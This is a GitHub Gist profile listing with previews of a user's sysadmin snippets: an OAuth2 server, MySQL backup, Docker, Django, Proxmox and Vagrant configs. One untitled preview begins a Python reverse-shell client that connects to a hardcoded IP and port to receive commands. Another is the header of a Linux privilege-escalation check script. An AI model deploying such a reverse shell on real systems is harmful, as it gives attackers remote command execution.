Skip to content

Instantly share code, notes, and snippets.

View contato318's full-sized avatar
🏠
Working from home

Dirceu Silva contato318

🏠
Working from home
View GitHub Profile
@contato318
contato318 / __main__.py
Created July 5, 2016 00:31 — forked from drgarcia1986/__main__.py
Example of OAuth2 autentication server with Client Credentials grant (using python-oauth2 and tornado)
# !/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'Diego Garcia'
import tornado.web
import tornado.ioloop
import oauth2.tokengenerator
import oauth2.grant
import oauth2.store.redisdb
import oauth2.store.mongodb
@contato318
contato318 / readme.md
Created December 1, 2016 05:36 — forked from jas-/readme.md
Ulteo-OVD implementation guide

Ulteo Remote Application Server

Installation, configuration, patching & troubleshooting guide to the Ulteo-OVD services. Additional details of this software can be found on their website. Here are some useful resources.

  1. Ulteo home - http://www.ulteo.com/home/
  2. Ulteo Downloads - http://ulteo.com/home/en/ovdi/openvirtualdesktop/3.0
  3. Ulteo OVD source code - http://www.ulteo.com/home/en/download/sourcecode
  4. Additional OVD source code access - http://archive.ulteo.com/mirror/ovd/releases/sources/
  5. Community forums - https://groups.google.com/forum/?fromgroups#!forum/ulteo-ovd-community-support
#!/bin/bash
#parando a replicação
## SE NAO TIVER REPLICACAO, COMENTE A LINHA ABAIXO #
mysql -uadm.backup -e 'stop slave';
####################################
#Passando os parametros de controle#
####################################
@contato318
contato318 / docker.yaml
Created June 22, 2017 00:57 — forked from dbones/docker.yaml
voting app
app-lb:
ports:
- 80:80
labels:
io.rancher.scheduler.affinity:host_label: server=proxy
io.rancher.loadbalancer.target.result: result.app:80=80
io.rancher.loadbalancer.target.vote: vote.app:80=80
tty: true
image: rancher/load-balancer-service
links:
import socket, subprocess
def connect():
ip = "192.168.0.100"
port = 6000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
command = s.recv(1024)
@contato318
contato318 / linuxprivchecker.py
Created July 14, 2017 16:13 — forked from sh1n0b1/linuxprivchecker.py
linuxprivchecker.py -- a Linux Privilege Escalation Check Script
#!/usr/env python
###############################################################################################################
## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script
## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift
##-------------------------------------------------------------------------------------------------------------
## [Details]:
## This script is intended to be executed locally on a Linux box to enumerate basic system info and
## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text
## passwords and applicable exploits.
#!/usr/bin/perl
use strict;
use warnings;
##########################
# Banco de dados local #
##########################
use DBI;
@contato318
contato318 / hello.py
Created October 14, 2017 18:34
Exemplo mínimo de django
###################################################
## Isto é a parte das configurações (settings.py) #
###################################################
from django.conf import settings
settings.configure(
DEBUG=True,
SECRET_KEY='thisisthesecretkey',
ROOT_URLCONF=__name__,
MIDDLEWARE_CLASSES=(
@contato318
contato318 / proxmox_conf_apache.txt
Last active February 8, 2018 16:10
Configurações necessárias para colocar o proxmox atrás de um proxy apache
###########################################################
# CONFIGURANDO O PROXMOX PARA RESPONDER APENAS LOCALMENTE #
###########################################################
echo -e "ALLOW_FROM="127.0.0.1"nDENY_FROM="all"nPOLICY="allow"" > /etc/default/pveproxy
sed -i -e "s|port => 8006,|port => 8006,nhost => "127.0.0.1",|" /usr/bin/pveproxy
/etc/init.d/pveproxy restart
/etc/init.d/pveproxy status
apt-get update
apt-get install apache2
# -*- mode: ruby -*-
# vi: set ft=ruby :
#Variável para ficar bonitinha...
#Brincadeira, caso o seu provider nao seja o virtualbox, troque aqui!!!!
VAGRANT_VM_PROVIDER = "virtualbox"
#Versão do Vagrantfile
VAGRANTFILE_API_VERSION = "2"